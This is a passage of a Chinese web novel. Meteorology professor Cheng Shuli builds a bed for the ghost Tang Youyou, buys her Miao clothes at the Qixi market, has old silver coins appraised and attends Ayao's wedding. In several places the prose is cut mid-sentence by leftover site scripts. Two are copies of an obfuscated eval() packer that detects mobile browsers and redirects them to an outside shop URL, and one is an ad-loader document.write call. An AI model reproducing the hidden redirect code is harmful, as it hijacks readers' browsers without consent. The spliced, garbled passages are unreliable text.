“外面没下雨?” “偶尔魂力的作用。” 无边丝雨斜洒而下,润湿程澍礼温润的眼梢,让他看上去比平时更加平和。 他的表情从困惑慢慢转为更深层次的不解,但完全没有被偷看的生气,反而是有点哭笑不得:“你辛苦攒起来的魂力就用来干这个?” “人生苦短,及时行乐!”棠又又躺过来,惬意地看着陪她度过无数夜晚的破茅屋,“快活一天赚一天。” 说完她就缓缓合上眼帘,似乎很疲惫的样子。 程澍礼不知道她是不是真的睡着,默不作声地撑开伞,放在草垛,为她挡住了冰冷的雨水。 棠又又睡觉的时候,程澍礼又围着几根木头架子转了好几圈,恨不得把每个虫洞里有几只虫子都数一遍,遗憾的是一无所获。 耳边的呼吸声逐渐平静而悠长,他回过头,棠又又无意识地挪动魂体,往伞下空间钻了钻。 雨还在下,时间一分一秒的慢下来,程澍礼看着她安静的睡颜,忽然意识到了什么。 晚上,吊脚楼内。 棠又又坐在书桌上,抖着二郎腿,看看手边的地球仪,又看看在屋角折腾了一晚上的男人。 从荒山回来后,程澍礼借了卓客的车独自下山,买回来一些不知道是什么的东西,吃过晚饭,他又什么话都没说,一个人蹲在床边叮铃哐啷,不知道的还以为他在棋山搓核.弹。 一二三四五六在狗窝里酣眠,一个个的轻鼾此起彼伏,把棠又又看得直打哈欠。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741708|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 打到第六个时,程澍礼终于站起身,朝这头招了招手:“过来。” 棠又又兴致缺缺地飘过去,在看见他忙碌一整晚的成果后,困意霎时全部消散。 贴近墙角的位置,一张木头小床静静安放。,枕头蓬松而饱满,床单和薄被平整铺在床上,被细心地整理过,看不到一丝褶皱。 林间的月光越过旁边的窗户,携着树影,软绵绵地落在上面,光影晃动如同星光的涟漪,让这小小的天地显得更加温馨。 程澍礼将满地的工具一一归纳好,转身去厨房洗手:“以后别再去你那个林间小屋了。” 死去多年的情绪如是饱引甘霖的春芽,在这片空间里破土而出,棠又又说不清此刻内心的感受,想起来才跟过去,问道:“为什么?” 洗完手,程澍礼倒了杯水走向书桌,坐下打开电脑:“会冷。” 棠又又又跟上去:“我不冷啊,鬼又没有感觉。” 程澍礼眼睛都不抬:“既然没有感觉为什么不睡在大街上?” 棠又又问:“免费的为什么不住?” 程澍礼说:“我这也免费。” 不仅免费,还包管上贡,想吃什么程澍礼都能满足她,怎么算都是只赚不赔的买卖。 破土的情绪骤然冲破最后一层防线,幻化成莫大的喜悦,棠又又不再问,她提起蓝色的裙摆,三步并作两步直奔那张属于她的小床,跳上去,兴奋地打了好几个滚。 哪怕没有一丝真实的触感,但也有一股强烈的幸福感,棠又又觉得自己躺在一片云朵里,云朵满满地包裹着她,让她无声无息地溺毙在这片美好。 听见她明朗欢快的笑声,程澍礼唇角微弯,盯着电脑屏幕上学生的论文,批注了十处错误。 批完最后一份学生论文,十一点钟,程澍礼准时上床睡觉,上床前,他拉上大床和小床中间的帘子,隔开两个独立的空间。 关灯之后,夜晚正式侵入吊脚楼,四处黑沉,只有雨水折射星辰的明亮。 棠又又翻了个身,看着亚麻帘子上的花纹,轻轻叫另一头的人:“程澍礼。” 程澍礼平躺在床上,闭着眼睛嗯了声。 棠又又问:“你真的让我睡在这里吗?” 程澍礼说:“你又不喜欢这个床了?” 棠又又小声道:“但是会下一整晚的雨。” “下雨睡得香。”昏黑的房间里,程澍礼的声音像是舒缓醇厚的大提琴,又低又沉,“睡吧。” 空气重归静然,风吹动树林的沙沙声,雨水敲打的叮咛,山路上一闪而过的汽车轰鸣,和仲夏蝉鸣混合在一起,烘托起深夏最后的吵嚷。 棠又又转回来,一动不动地望着屋顶,这是她第一次从这个角度观察吊脚楼,明明周围的一切都和之前一样,但不知道为什么,有些地方发生了微妙的变化。 过了会儿,她在黑夜里开口:“我真的不冷。” 程澍礼很快说:“那明天的冰淇淋我替你吃了吧。” “......” 惊雷如同万鼓齐鸣,外面的雨像疯了一样砸向屋顶,接着就听见棠又又一声怒吼:“程澍礼!你坏事做尽!” 程澍礼口吻淡淡,要多气人有多气人:“冰淇淋不就吃个凉?你感觉不到,太浪费了。” 棠又又气得直接翻过身去,对着墙壁再不多说一个字。 而这头,程澍礼又想到了什么:“之前那个老毕摩,为什么没想过把你带回家或者找个能避雨的房子?” “我是鬼。”棠又又的声音在黑暗中响起,听起来有气无力的,“一般人跟我待一块都会身体不舒服,就像卓客一靠近我就觉得冷。” “老毕摩也不行?” “嗯。” 话落,程澍礼仔细回想和棠又又相处的这段时间,刚要说话,被棠又又抢先道:“不过为什么你没感觉?” 这同样也是程澍礼的疑惑,但一秒后他就有了答案—— 达尔文不远万里漂洋过海跋山涉水冲进吊脚楼高举《物种起源》带来光明:“因为我是无神论者。” 一顿沉默。 “呵!”棠又又冷笑,“一派胡言胡说八道!!!” 24. 第二十四章 天朗气清,微风和畅。 早上八点半,山下水稻试验田,空气中翻涌稻谷将熟的气息。 青黄交杂的稻田中央,卓客身着醒目的蓝色衣服,拿着卷尺测量各处水稻的生长高度,他身影时隐时现,宛如一尾灵活游动在稻浪中的小鱼。 收集完几个样本后,他转头走向稻田更深处,完全融入这片辽阔的田野。 农田旁边的气象监测站,程澍礼站在大气沉降采集装置下,仔细对比最新气象数据和历史记录,合上笔记本放到一边,蹲下来挽起袖子,把离他最近的那株水稻拔出来。 没有虫害,但根系发育不良,典型的缺水指征。 卓客从稻田里钻出来,坐在田埂上,用积水洗掉脚上的泥泞:“二号田水稻长势稍逊预期,三号田有小面积的倒伏,看起来都是缺水导致的生长不足。” 程澍礼将手中的水稻放回田里,垂眼看向田间浅浅的一层积水,思忖几秒,偏头问:“严重吗?” 卓客穿上袜子和鞋,拍掉衣服上的灰尘:“如果再晚点就严重了,趁现在赶紧加大灌溉,应该不会影响结实率。你那边怎么样?” 程澍礼:“降水和往年相比没有明显异常,都在正常范围内。” 卓客松一口气:“那就好” 又陆续勘测完剩下的两块试验田,两人动身往花桥的方向走。 离花桥越近,游人的身影越多,现代繁华正在渐渐覆盖这片古老的村寨,这让卓客想起一事儿:“诶程教授,你听说了吗,棋山的投资基本定下来了。” 程澍礼有些讶然:“这么快?” 不仅是他惊讶,气象站其他几人也都没想到,这次的合作进度快得像是坐了火箭,卓客发出感叹:“果然真正的有钱人都是低调随和的。” 程澍礼弯下腰,将一株倒伏在田埂的稻穗拨回去,没有接话。 “对了程教授。”到了宽阔地带,卓客放慢脚步,和程澍礼并排着走:“那你是不是就能提前回去了?” 问题被骤然提出,程澍礼下意识愣了秒。 卓客接着说:“老金说市局领导看了你交的那份报告,为此专门开了讨论会,都觉得很满意,已经把五子顶迁站的事儿提上日程了。” “不知道。”程澍礼本能地逃避这个问题,一秒的停顿后才道:“等这次试验结束再说。” 卓客哎哟了声:“那还能赶得上阿尧的婚礼。” “他要结婚了?”程澍礼转过头,眸中带着讶然又真挚的笑意。 卓客也笑:“这会儿估计挨家挨户发请帖呢。” 程澍礼直视前方,不忘礼节性的事情:“你们这里一般结婚送什么?” “没那么多讲究,不过七夕花桥有个市集,你可以去看看。” 说完,卓客叹了口气,肩膀一松,说不清是怀念还是别的什么:“我记得我刚来五子顶的时候,山上就老金和蔡叔俩人,蔡叔还是市里觉得这儿确实太苦送来开小灶的,当时我们仨大老爷们儿每天低头不见抬头见,就跟庙里的和尚似的,成天就想着什么时候能回市里,结果等着等着,把梁闪闪和阿尧给等来了,跟葫芦娃救爷爷似的,一个两个地有去无回。” 作为第五个来到气象站的人,程澍礼眉心极轻地蹙了下,不甚赞同地说:“虽然老金很可怜,但我不是很想吐水降雨。” 能降雨的另有其人。 话音刚落,乌鸦飞起而过,空气莫名的冷下来。 卓客面色古怪一瞬,但又不想让自己显得很愚蠢,憋半天了问:“啥......啥意思?” “......”首次尝试讲笑话的程澍礼出师不利,他颔首,如常地说道:“开个玩笑,不必在意。” 说完可能是觉得尴尬,他抬步快速向前,在人设崩塌前,留给卓客一个程教授的背影。 卓客却像是突然脑子转过弯来,果然文化高的人讲笑话都这么有深度,这么想着,卓客不顾形象地大笑两声。 难得听到程澍礼这么说话,卓客觉得他涵养规矩的坚硬躯壳终于融化了一点点,人和人的关系近了一点点。 “哇噻程教授!真是活久见!你都会开玩笑了!”他大笑着追上去,伸手一勾程澍礼的肩膀,大步朝前,语气怅惘:“还真有点舍不得咱这妖精洞啊!” 声音顺着河道的风飘走,无数的情绪和感怀散开,悠悠然然流向远方。 上午十点五十六,两人回到气象站,果然收到来自阿尧的结婚请帖。 看见上面的结婚日期,梁晶晶问阿尧:“你们彝族不是不能在七月结婚吗?而且你这还是七月十三,离中元节这么近?”卓客也跟着看过去。 以前老一辈确实有这么个说法,但随着时代变迁和生活方式的改变,大家更多地从自身实际情况考虑。 阿尧搔搔后脑,笑着说:“我们家和阿芝家都不太在乎那个,而且阿芝哥哥工作太忙,平时不好请假,我们找毕摩定了个日子,想赶紧办了。” 说着他就拉上卓客,和梁晶晶凑一块开始商量婚礼游戏。 靠墙位置,程澍礼录完全部数据,从抽屉里拿出早已准备好的东西,走出办公室送给老金。 老金不明所以地接过来,眼神中透露着纳闷:“程教授,这是什么?” 默了两秒,程澍礼说:“朋友从一个很灵的庙里请来保平安的,送给糖豆儿。” 听他说完,老金拖着东西手掌微微颤动,他知道程澍礼不信这个,但不管如何,能为孩子做这些就足够了。 感动之下,他嗓音艰涩发抖,不停地跟程澍礼道谢。 日光偏移,照向屋内,三人趴在窗台望向窗外,共同见证了这个历史性的交接时刻。 卓客超然物外的口吻:“一切事情的发生都是原因的。” 梁晶晶淡声:“这个世上无论发生什么事情都是正常的,没有联系,也没有意义。” 卓客余光瞥过去:“那你跟着看啥?” 梁晶晶眯眼:“但他俩这事儿不正常。” 阿尧急吼吼:“啥!啥事儿啊!?” 十一点四十七分,手机弹出提醒,吊脚楼的雨水传感器检测到降水。 程澍礼停下手中工作,将桌面整理成早上来的样子,然后拿起雨伞下山吃饭。 ...... 七夕当天,花桥上人潮如织,来自不同民族的村民聚集在这里,各式各样的摊位如同画卷展开,随处可见瓜果蔬菜和特色小吃,更多的是当地的特色刺绣和手工艺品,一整座桥变得色彩缤纷,入眼可见的人间烟火。 踏入这片吵闹的市集,一二三四五六各自跑进人网撒欢,棠又又看着路过小孩手里的糖葫芦,舔舔嘴巴眼神向往,转过头,又被对面的炸荷花所吸引。 旁边,程澍礼正和诺苏说话:“是阿尧的婚礼,不知道应该买个什么东西?” “漆器?”知道他的来意后,诺苏的脸上笑着说,“前两天卓客刚来找我买了几匹布,估计也是送给阿尧的,您可以买个漂亮的漆器摆件,跟卓客送的区分开来,而且摆新家里也好看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749716|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 程澍礼点点头,环视一圈周围问:“这里有的卖吗?” 诺苏说:“那个这儿没有,尤其送人婚礼的漆器,得到市里去看,或者您去问问姚寨老。”他从摊位里探出半个身体,指着花桥最前边还没人的摊位,“他儿子在市里漆器店上班,等他来了,问问看能不能帮忙稍一个过来。” “好,谢谢。”以表谢意,程澍礼从诺苏摊位上买了几听可乐。 然后他转身,将找回来的零钱放到隔壁摊位,拿走棠又又正嘟嘴吹的五彩风车,随手晃两下,意思是该走了。 棠又又飘起来,走在程澍礼的身边:“要回去了吗?” 程澍礼说:“要等姚寨老过来问完漆器的事儿,他来之前,我们可以再逛逛。” 棠又又眸光闪了闪,蔫蔫地说:“可是这里不能点香,什么都干不了,太无聊了。” 程澍礼侧身让开一个路人,低声问她:“除了好吃的,你还喜欢什么?” 路人看他一直举着个风车自言自语,心道这么斯文的男人可惜是个傻子,一时看他的眼神有些同情。 “好看的!”棠又又目光明亮,声音响当当,“我喜欢好看的!” 程澍礼早有了解:“看出来了。”从那对年轻夫妻的长相看出来的。 棠又又歪头想了一会儿,问:“那你能不能给我买套新衣服?” 她眨了眨眼,不是以往直接了当的语气,而是一种柔和而略带羞涩的请求,眼梢的光忽明忽暗,试图掩盖自己忐忑不安的期许。 程澍礼心中有些刺痛,再次不受他控制地生出怜悯,他问:“你能穿吗?” 棠又又脸上的笑容开始收不住,举起一根手指头说:“可以穿一天。” 一秒钟的事,程澍礼抬起下巴:“你看那衣服好看吗?” 那是个售卖民族服饰的摊位,错落有致地摆满了颜色鲜艳的衣服,中间,一套红色的苗服熠熠生辉,宽大的裙摆层层叠叠,宛如一朵盛开的花朵,绣在裙子上的银饰,随着光线变化闪烁纯净耀眼的光芒。 棠又又的心已经飞过去了,程澍礼低头笑一下,举步跟上去。 摊位老板是个五十出头的大姐,看见程澍礼过来,立马热情洋溢地招呼:“帅哥你长得好撑投哦!” 第三次听见这个词,程澍礼终于有机会问:“撑投是什么意思?” 大姐的笑容变得更加灿烂:“说你好看!” 棠又又靠近,轻轻夸他:“你好看。” 冷不丁听到这句,程澍礼的耳朵瞬间燃起一片红晕,他不让自己去看棠又又,而是询问摊位上的红色苗服:“这套多少钱?” “衣服三百,加银冠银饰这些六百八。”大姐乐呵呵笑,“帅哥衣服买给谁啊,我给你找个码子?” 程澍礼往旁边递过去一个眼神。 只一个眼神,棠又又就默契地走过来,站到他和摊位中间,笑吟吟地朝他双臂。 程澍礼的手悬在她头顶上方半寸,跟大姐说:“这么高。”接着又双手比划棠又又的肩膀:“肩膀大概这款,双臂展开这么长,胳膊很细,人很瘦。” 不经意间,他低眸对上棠又又的视线,她眼睛亮晶晶地看着他,脸颊红红,脸上挂着大大的笑容,带着属于她真实年纪的娇憨和天真。 河面泛起微微涟漪,风拂过花桥,温温的,像柔软的薄纱,吹在人身上有点痒。 目光交汇,程澍礼平静看她一眼。 很好看。 他在心里说了句。 25. 第二十五场雨 大姐马上就懂了,从摊位底下翻出一套全新的:“最小码,够嘞。” 离开前,程澍礼又要了套搭配衣服的全套银饰。 花桥上的游客越来越多,程澍礼尽量和行人保持半米的距离,先让棠又又过,然后不紧不慢地跟在后头。 隔了一会儿,他掂了掂手里沉重的衣服,问棠又又:“你怎么穿这衣服?和吃饭一样点线香?” “秘密。”棠又又俏皮地眨下右眼,“等穿的时候告诉你。” 话间,他们来到姚寨老的摊位。 姚寨老来的比其他人晚,但是姿态不慌不忙,气定神闲地从筐子里拿出不知道是什么的东西,一件一件放到摊子上摆好,看见程澍礼,他昂头诶了声:“程教授你也来了啊,想要什么?” 程澍礼简单说明来意后,姚寨老爽快应下:“这事儿好办,待会儿我就我儿子说一声,让他拍点照片,你挑中哪个我让他带回来。” “辛苦您了。” “程教授太客气了。” 千奇百怪的物件中,几枚镀着紫褐氧化层的东西引起了程澍礼的注意。 哪怕东西上有不少泥土和污渍,也不难分辨出上面的浮雕,程澍礼判断这应该是上世纪发行流通的银元。 见他盯着那几个银元好半天,姚寨老拿起两个强行塞进他手里:“不是什么值钱的东西,程教授喜欢就拿走。” “荒山”两个字让程澍礼心脏重重跳了下,他确认性地问:“哪个荒山?” “就下雨下不完那个啊。”姚寨老打趣说道,他嘬一口兰花烟,“你也知道我那小孙子调皮,他最近跟尼莫家刚高考完的依合一块耍,前几天不知道怎么的,两人突然跑到荒山去捡了这么些东西来,我一看这上面花纹都不对,肯定是假的。” 程澍礼表情微凝,又拿起东西看了眼。 有村民过来跟姚寨老聊天:“姚寨老你怎么才来啊?” “松里峰突然起了点小火,我带人过去扑灭了,差点就烧到尼莫她们家的新果园了。” 村民大诧:“好端端地怎么起火了?鬼火啊?” “有鬼也是捏你家包子馒头。”姚寨老啐了对方一口,“是天太干了,你们家那中药田也多注意,没事清理清理枯叶子。” “行,今天鱼不错,给你拿点回家?” “我看看。” 在他们的交谈声中,程澍礼付完钱,拿着那两枚银元离开。 思绪像是被狂风卷起的落叶,纷乱而飘忽不定,一直延续到回程的路上。 公交车上,棠又又静静地坐在程澍礼的身边,时不时余光掠一眼他的脸色,他唇线拉平,眼神晦暗不明。 知道他又把自己绕进思考的怪圈,还剩两站路的时候,棠又又忽然宣布:“我们下车走回去。” 思绪回笼,程澍礼转头问:“为什么?” 棠又又一字一顿说:“看日落!” 回望过去,棠又又和程澍礼看过很多次的日落,在细雨如织的吊脚楼前,在众人忙碌的气象站空地,但每一次,都不像今天这般突然而刻意。 也不是为别的,她单纯觉得现在的程澍礼,需要换个环境换换脑子。 太阳半斜在天空,离山头还有一段距离。 棠又又缓步往山上走,一二三四五六尾巴摇来摇去,亦步亦趋地跟在后面,程澍礼走在最后面。 大约走了几百米后,棠又又说:“程澍礼,阿尧的婚礼我可以去吗?” 程澍礼看着她的背影:“你想去吗?” “想。但我是个鬼,他们不会喜欢我的。”棠又又坦然说。 “你不是害人的鬼。”程澍礼语气自然。 她会让学校的操场开满鲜花,会努力不让小狗饿肚子,会偷偷去山下浇灌缺水的稻子,还会把对自己很重要的东西送给老金的孙女。 “他们要是能看见你,一定会喜欢你的。” 棠又又停下脚步,转身眼神落在他身上,看了好一会儿。 程澍礼回望她:“离日落大概还有二十分钟,往前走走还是就这?” 棠又又塌下肩膀,不是很在意:“我就是想你下车,呼吸下新鲜空气。” “这样吗?”问完,程澍礼就深深吸了一口林间的空气,瞬间觉得肺腑都清新了,“是很新鲜。” 没想到他会配合,棠又又眼睛一亮,满是期待地问:“怎么样,有没有我说的那种感觉?” 程澍礼点下头,然后说:“等你出去了,我带你去北京的颐和园。” 话题切换的措不及防,让棠又又有点懵:“北京颐和园?” 程澍礼掏出手机,翻出相册里很久以前拍的照片,绚烂的夕阳照亮十七孔桥,发出耀眼的金光,金色的光芒跳跃在湖面上,与水中佛香阁的倒影交相辉映。 他说:“那边的日落也很好看。” 棠又又侧过身体,低头看着他划过的一张张风景照片:“这都是你拍的?” “还有景祎,你之前看到过她吗?” “那个很漂亮的小中医?” 程澍礼说:“年纪是很小,但不是小中医,她从小就跟在她爷爷身边学习,算老资历了。” 话落,他手指拨动,划出下一张照片,是一朵厚厚的大白云。 棠又又惊奇地叫起来:“这朵云长得好像大顺!” “......”为了不破坏她的想象力,程澍礼没说他当初拍这张照片,只是因为它的轮廓像俄罗斯地图。 他说:“这是在北京天坛拍的,想去看看吗?” “没那么想。”意外的,棠又又不太感兴趣,程澍礼抬头看她一眼。 棠又又站直身体,面朝夕阳走到山路另一侧,声音落在雨水中:“我现在想听你跟我讲讲云。” 程澍礼顺着她手指的方向看过去,无数光线从云朵后面投射下来,漫射到四面八方,好像《创世纪》中写到的通往天堂的梯子。 棠又又坐下来,双手撑在身后:“你看那一片云,是不是像长了很多角?” “那是一种大气现象,叫曙暮光条。”程澍礼收起手机,撑伞走到她身边。 棠又又抓住关键信息:“什么薯条?” “......” 程澍礼的优点之一就是很有耐心。 他说:“日出前,阳光照射到高层大气,被大气分子散射后,天地会微微发亮,从这时候起到太阳完全露出地平线的光亮,叫曙光,而日落后类似的现象,还能看到一段时间的光,叫暮光。” “曙暮光受到大气中灰尘或水滴的散射,形成明显的太阳光路,就像是用手指挡住手电筒的光,云彩的影子衬托出光线的边缘,虽然光线本身是平行的,但是看上去是云彩后面的一个点发射出来的,好像是长了角。” “这些五彩斑斓的光束,就是你说的曙暮光条。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 棠又又半知半解地听完,好久没有说话,她看看程澍礼又看看远处的云彩,皱眉盯着那些即将消失的光束。 程澍礼偏过头,低眸看眼她迷惑的发顶,知道她没完全听懂。 但是没关系,他有的是时间教她。 至于眼下,他笑着问:“或者你想来点五彩斑斓的薯条吗?” 听到这句话,棠又又的眼睛立马弯成月牙:“我还想喝一点点可乐。” 可乐配薯条,好熟悉的搭配,程澍礼问:“你知道什么是肯德基吗?” 棠又又嗯嗯两声摇头:“麦门永存!” 火红的太阳缓缓滑进地平线,霞光遍处,照在眼前的烂木等山区,山脉万里连绵,沟壑浩瀚崎岖,好像一眼望不到边。 橘色天幕宛如巨大的画板,映出一副温暖而动人的剪影。 程澍礼站立的背影修长挺直,他身边,棠又又坐在地上仰望天空,右边跟着一串狗头狗脑的省略号。 ...... 阿尧婚礼在晚上,出发前的几个小时,棠又又向程澍礼展示了她穿衣服的秘密。 无需线香,也不用其他什么仪式的东西,甚至都不用程澍礼回避,他将衣服拿出来放在床上,才刚打开衣柜时,就听见棠又又在身后问:“好看吗?” 他双手捧着一双精致的小皮鞋,转过身来,看见已经换好苗服的棠又又。 然后同时愣住了。 “你换好了?” “给我的吗?” 异口同声。 棠又又踮起脚尖跑过去,步伐中带着几分雀跃,身上的银饰发出悦耳的叮咛,她看着程澍礼手中的鞋子,又问一遍:“是送给我的吗?” “是。”程澍礼说,“你......还能穿吗?” 是七夕的第二天,程澍礼瞥见棠又又光脚坐在马背上,想起那套全新的苗服,觉得应该要给她买双新鞋子。 但他对女鞋没有研究,只能搜集各个品牌官网的信息,找到最受欢迎的几款,从不同维度构建图表,分析出众多候选者的优缺点,最终选中了最舒服的一款。 棠又又晃一晃脑袋,银冠上的配饰相互碰撞,声音轻快灵动,她喜欢的不得了,“我这是幻化,要每年魂力最强的时候才能换上一次,下一次就要等明年了。” 程澍礼说:“你要是等等我,就能穿上了。” “明年吧。”棠又又笑道。 话落,她飘到吊脚楼的中间旋转两圈,红裙翩跹,掀起轻盈的弧,她眼睛本来就亮,在阳光的照耀下,此刻愈加水灵潋滟。 透过交织的光线,程澍礼静静看着,棠又又脸上笑容明媚又纯粹,像在太阳底下盛开的花。 棠又又眼神熠熠:“好看吗?” 屋内墙边,程澍礼一手插兜,一手拎着鞋子,目光笔直地看向她,静默良久,笑了下。 然后他弯腰,轻轻将小皮鞋放到地上,没有说话默然离开。 棠又又怔忡两秒,快步追过去:“好不好看!你为什么不讲话!好不好看嘛!” 不想说话是因为难以形容,程澍礼想。 难以形容这个瞬间。 过去是,现在是,他将来仍然会是一个研究者。 但在这一秒,他不想再探索未知。 只想遵从内心,记下这个瞬间。 他的九号云朵,下着小雨。 开了一朵小花。 26. 第二十六场雨 参加婚礼的前两个小时,李多聿和景祎来了。 知道他们是程澍礼的朋友,恰好最近正在贵州这边出差,阿尧便一道邀请了他们,跟程澍礼说一定要一起来。 听说寨子里来了个厉害的中医传人,中药基地的负责人立马过来,想请景祎去他们的试验田看看药材质量。 景祎收回给六六把脉的手,走前通知家属:“肾脉虚浮,淫火攻心,思春了这是,找个良辰吉日给它割以永治吧。” 吊脚楼里只剩下程澍礼和李多聿。 李多聿背对门口坐在餐桌旁,大腿略微分开,双手分别搭在两边膝盖,眉头紧锁看着桌上并列摆放的两枚银元。 程澍礼坐在对面,他的身后,棠又又趴在书桌上,鼓嘴吹插在奖杯上的风车。 “这两枚都是真货,山东大扣银元。”聊起专业相关,李多聿不似和景祎打闹时那般吊儿郎当,他神情微肃:“当时民国政府主要发行的银元,是中央版银元,统一由天津造币厂铸造,人物额头饱满,衣领扣子贴合身体,背面嘉禾饱满挺立,而你面前的这两枚,不仅人物额头稍瘪,扣子突出衣领,而且背面嘉禾干瘪凌乱,明显是山东大扣的特征。” 程澍礼问:“那这两枚银元是山东产的?” “不是,现在没有任何直接证据表明它们的产地是山东。”李多聿说,“而至于它们为什么叫山东大扣,流传最广的说法是这版银元由一个山东收藏家最先发现的,不过也有人说青岛曾经小批量制作过类似的银币,推测可能是青岛铸造的,还有些其他什么南北军.阀的说法,众说纷纭,但是目前都没有定论。” 程澍礼目光落下来,两枚古朴的银元躺在深褐色木质桌面,反着冷光,仿佛一双把一切都看倦了的眸眼。 顿了顿,李多聿好奇问:“这玩意儿你从哪儿来的?” 程澍礼回他:“一位村民的孙子在后面荒山捡的。” “捡的?”李多聿声音上扬,颇多迷惑,“1935年之后银元基本就不发行了,但因为一些特殊原因,西南那边大概用到了五十年代,不过那也应该是中央版银元,山东大扣主要在东边流通,而且因为发行量少并不多见,怎么会出现在这里呢?难不成是有人带过来的?” 程澍礼问:“你也不知道?” 李多聿又仔细看一眼,不解摇头:“太奇怪了。” 然后他身体向前,挑了挑眉问程澍礼:“你花多少钱买的?” 程澍礼说:“没花钱,村民送我的。” “没花钱!?”李多聿眼睛瞪得像铜铃,“那人鬼上身了吧不要钱把这东西送给你!” 话落,程澍礼清晰地听见,她身后的棠又又无奈地叹了声气。 他缓声问:“这东西很贵吗?” “这个数。”李多聿用手比出一个数字。 程澍礼面色一滞,略带震惊地看向桌上的东西,想了想,他拿起手机找到上次买漆器的转账对象,又转了笔只多不少的钱过去。 隔会儿时间,景祎回来了。 一看见景祎,李多聿那股欠劲儿就按耐不住了,跟狗见了骨头似地往上凑。 他凑过去,发现景祎正低头在捣鼓什么东西。 定睛一看她手中,一寸大的黄纸上用中性笔写了一串数字,而那一寸黄纸没有谁比李多聿更加眼熟。 他狠吸几口气防止自己把人打死:“景祎!” “干嘛?”景祎头都懒得抬。 李多聿咬着牙说:“你拿我给你求的平安符记手机号?” 景祎往手机里输号码的手一顿,刚去试验田,偶然发现新种的石斛一直不发芽,为了方便后续沟通她找负责人要了手机号,但是忘带手机,情急之下便摸出了衣服内侧的平安符。 她神态自若:“保石斛的平安怎么不是保平安。” 李多聿说:“你就这么对待我的心意?”他去年年三十陪家人去雍和宫上香,专门给三人都求了一个。 景祎嗤笑一声:“你不如问问那位,是不是拿你平安符垫桌角了?” 李多聿猛地回头:“程澍礼,我给你的平安符呢?” “我收起来了。”程澍礼面色如常道。 棠又又探究的目光射向书桌对面,程澍礼被她看得有些不自在,拿起旁边的书本开始看书。 李多聿更气了,他转头说:“你看,他都能收好!怎么你不能?” “你怎么不问他为什么不随身带着?”景祎反问。 “......”李多聿被噎住了,“说你的问题不要扯别人。” “我什么问题?” “那上面字怎么回事儿?” “鬼干的。” “不是我干的。”棠又又又叹了声气,“我忙着吃小孩忙着捏人家包子馒头忙着上身忙着打墙还要赶到后山去放火。” 她埋着头小声嘀咕:“我忙死了。” 这番絮叨程澍礼听得好笑,伸手拨了下她刚没吹起来的五彩风车。 景祎和李多聿吵得棠又又坐不住,没多久便溜出去了,跑动时身上的银饰发出细碎的响动。 这会儿已经开始翻旧账了。 景祎问:“还记得五岁那年吵架,你可是亲口说自己这辈子再跟我说一个字就是猪的。” 李多聿大骇:“你真可怕!” “?” “我五岁时候说的话你都还记得!”李多聿表情简直可以用夸张来形容,“二十年后我们再吵架,‘你可是亲口说自己这辈子再跟我说一个字就是猪的’,这不可怕吗?”他故意学她的语气。 景祎上眼角瞥他:“为什么我们五十了还要吵架?” “我们一百岁的时候应该也会吵架。”李多聿摊手表示妥协,“我主要对你很有信心。” “谁跟你当一百年朋友。” 那是一个风和日丽的午后,外面的雨静悄悄地下着,满山青绿朦胧在雾气里,风景变得婉约而清新,舒服的空气让人陶醉其中。 程澍礼安静看书,景祎和李多聿一人怀里抱着一只小狗,你一言我一语地不停斗嘴,剩下几只小狗崽子趴在程澍礼脚边,闭着眼安然睡去。 吊脚楼外,换了新衣服的棠又又趴在大顺身上睡觉。 她最近越来越爱睡觉了。 不知过了多久,脚边小狗全部小跑出去,外面响起银环相撞的清脆声,程澍礼看眼时间,起身拿外套:“该走了。” “是该走了。”李多聿站起来伸了个懒腰。 “对了。”快走出门的程澍礼忽然侧身,望着他俩好心提醒,“晚上那边会下雨,你们带把伞。” 斩钉截铁的语气让景祎忍不住问:“多大概率?” 程澍礼答:“百分百。” 这不像是程澍礼能说的话,李多聿登时就笑出声:“你是已经进化到能空口鉴雨了?” 背光处,程澍礼脸上闪过一丝不可言说的微妙,他朝两人耸下肩膀:“东方玄学。” 等他背影消失不见,李多聿还处在惊愕中不能回神,他眼睛盯着门口,六条小狗排着队一水儿的从门前经过,他问景祎:“他这......不正常吧?” 景祎吐槽:“能随便买匹马的人能是什么正常人。” 李多聿表示同意,然后紧跟出去。 ...... 婚礼在山下阿尧的家里举办,他们到时,正碰上新娘子被她哥哥背进门,宾客们簇拥着新郎挤进屋里,整个院子里闹哄哄。 三人刚跟着人群走进去,突然前面的人哗的四散开来,李多聿一无所知地站在最前面,被里面的女人迎头浇了一整盆水。 周围人哄然大笑,景祎在旁边笑地直不起腰,李多聿二话没说抢过一小孩的水盆,大步一迈准备往她脸上泼,景祎立马躲到程澍礼后边儿,借着他身体的遮挡,大放厥词:“你小心我拿针扎你啊。” 李多聿说着往前冲:“来来来!你过来来!” 李多聿和景祎加入泼水大战,年轻的小伙子们和姑娘们四处逃窜,院子里水花四溅,没多久就成了一片海洋。 程澍礼回头找棠又又,她坐在离人群最远的地方,双手托腮,笑着看向大家欢闹的场景。 他缓步走过去,坐在离她最近的一把椅子,不说话陪她一块儿看。 盛装的新郎新娘站在屋子中央,由毕摩主持仪式,念诵经文,赐福新人。 阿尧和阿芝双手紧牵,偶尔对视一眼,脸上爬上娇羞的红云,眼中流转着甜蜜和幸福,恩爱模样令人艳羡。 